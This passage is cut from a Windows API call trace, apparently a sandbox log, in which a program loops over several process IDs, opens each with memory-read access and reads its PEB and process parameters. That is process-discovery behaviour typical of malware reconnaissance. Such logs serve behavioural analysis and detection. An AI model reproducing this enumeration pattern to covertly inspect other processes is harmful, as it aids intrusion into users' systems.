out: _Buffer="1540") returned 0x0 [0302.564] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1540") returned 4 [0302.564] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0302.565] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0302.719] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x604) returned 0x16c [0302.719] GetLastError () returned 0x0 [0302.720] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0302.720] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xdc7c19c018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0302.720] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0302.721] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x294a79034a0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0302.721] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x294a79030e8, lpBuffer=0x2dc24fc2d0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0302.722] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0302.803] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0302.803] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xdc7c19c020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0302.803] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x294a7902ad0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0302.804] malloc (_Size=0x64) returned 0x20abc280290 [0302.804] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x294a7903134, lpBuffer=0x20abc280290, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280290*, lpNumberOfBytesRead=0x0) returned 1 [0302.804] free (_Block=0x20abc280290) [0302.805] CloseHandle (hObject=0x16c) returned 1 [0302.805] _ui64tow_s (in: _Value=0x644, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1604") returned 0x0 [0302.809] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1604") returned 4 [0302.810] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0302.810] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0302.825] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x644) returned 0x16c [0302.825] GetLastError () returned 0x0 [0302.827] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0302.827] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xb845380018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0302.827] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0302.827] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2498de033e0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0302.827] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2498de03048, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0302.829] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0302.831] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0302.831] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xb845380020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0302.831] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2498de02a30, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0302.831] malloc (_Size=0x5a) returned 0x20abc2801b0 [0302.831] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2498de03088, lpBuffer=0x20abc2801b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0302.832] free (_Block=0x20abc2801b0) [0302.910] CloseHandle (hObject=0x16c) returned 1 [0302.913] _ui64tow_s (in: _Value=0x778, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1912") returned 0x0 [0302.918] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1912") returned 4 [0302.919] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0302.919] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0302.934] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x778) returned 0x16c [0302.934] GetLastError () returned 0x0 [0302.936] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0302.936] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3ba018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0302.936] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0302.936] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x511c50, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0302.936] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5118e8, lpBuffer=0x2dc24fc2d0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0302.938] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0302.939] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0302.939] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3ba020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0302.939] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5112d0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0302.939] malloc (_Size=0x32) returned 0x20abc280b50 [0302.940] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x511918, lpBuffer=0x20abc280b50, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280b50*, lpNumberOfBytesRead=0x0) returned 1 [0302.940] free (_Block=0x20abc280b50) [0302.941] CloseHandle (hObject=0x16c) returned 1 [0302.941] _ui64tow_s (in: _Value=0x7fc, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2044") returned 0x0 [0302.947] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="2044") returned 4 [0302.948] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0302.948] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0302.969] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7fc) returned 0x16c [0302.969] GetLastError () returned 0x0 [0302.970] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0302.970] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc51ffb018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0302.970] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0302.971] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18d4c0e1c70, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0302.971] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18d4c0e18c8, lpBuffer=0x2dc24fc2d0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0302.972] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0302.977] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0302.977] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc51ffb020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0302.977] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18d4c0e12b0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0302.978] malloc (_Size=0x6c) returned 0x20abc282120 [0302.978] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18d4c0e190c, lpBuffer=0x20abc282120, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0302.978] free (_Block=0x20abc282120) [0302.979] CloseHandle (hObject=0x16c) returned 1 [0302.979] _ui64tow_s (in: _Value=0x8b4, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2228") returned 0x0 [0302.983] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="2228") returned 4 [0302.984] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0302.984] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0302.999] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8b4) returned 0x16c [0302.999] GetLastError () returned 0x0 [0303.000] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0303.000] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x9a9d57f018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0303.006] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0303.006] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20f49003780, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0303.007] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20f490032e8, lpBuffer=0x2dc24fc2d0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0303.009] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0303.011] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0303.011] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x9a9d57f020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0303.011] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20f49002c60, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0303.012] malloc (_Size=0x118) returned 0x20abc2ac1e0 [0303.012] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20f49003388, lpBuffer=0x20abc2ac1e0, nSize=0x116, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2ac1e0*, lpNumberOfBytesRead=0x0) returned 1 [0303.013] free (_Block=0x20abc2ac1e0) [0303.014] CloseHandle (hObject=0x16c) returned 1 [0303.015] _ui64tow_s (in: _Value=0x92c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2348") returned 0x0 [0303.023] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="2348") returned 4 [0303.024] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0303.024] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0303.036] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x92c) returned 0x16c [0303.039] GetLastError () returned 0x0 [0303.040] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0303.040] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xbecf55d018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0303.046] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0303.046] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1df67f03730, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0303.046] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1df67f032b4, lpBuffer=0x2dc24fc2d0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0303.049] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0303.051] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0303.051] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xbecf55d020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0303.051] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1df67f02c20, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0303.052] malloc (_Size=0x11a) returned 0x20abc284e70 [0303.052] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1df67f0334a, lpBuffer=0x20abc284e70, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0303.055] free (_Block=0x20abc284e70) [0303.056] CloseHandle (hObject=0x16c) returned 1 [0303.057] _ui64tow_s (in: _Value=0x828, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2088") returned 0x0 [0303.060] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="2088") returned 4 [0303.061] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0303.061] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0303.077] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x828) returned 0x16c [0303.077] GetLastError () returned 0x0 [0303.079] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0303.079] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x6cb0f5b018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0303.097] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0303.097] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c9d5603490, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0303.098] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c9d56030e8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0303.101] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0303.102] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0303.102] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x6cb0f5b020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0303.103] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c9d5602ad0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0303.103] malloc (_Size=0x6a) returned 0x20abc282120 [0303.103] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c9d5603128, lpBuffer=0x20abc282120, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0303.104] free (_Block=0x20abc282120) [0303.105] CloseHandle (hObject=0x16c) returned 1 [0303.105] _ui64tow_s (in: _Value=0xf8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="248") returned 0x0 [0303.109] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="248") returned 3 [0303.110] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0303.110] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0303.125] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf8) returned 0x16c [0303.125] GetLastError () returned 0x0 [0303.127] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0303.127] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5660c01018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0303.127] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0303.127] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2117e361bd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0303.127] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2117e361818, lpBuffer=0x2dc24fc2d0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0303.129] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, 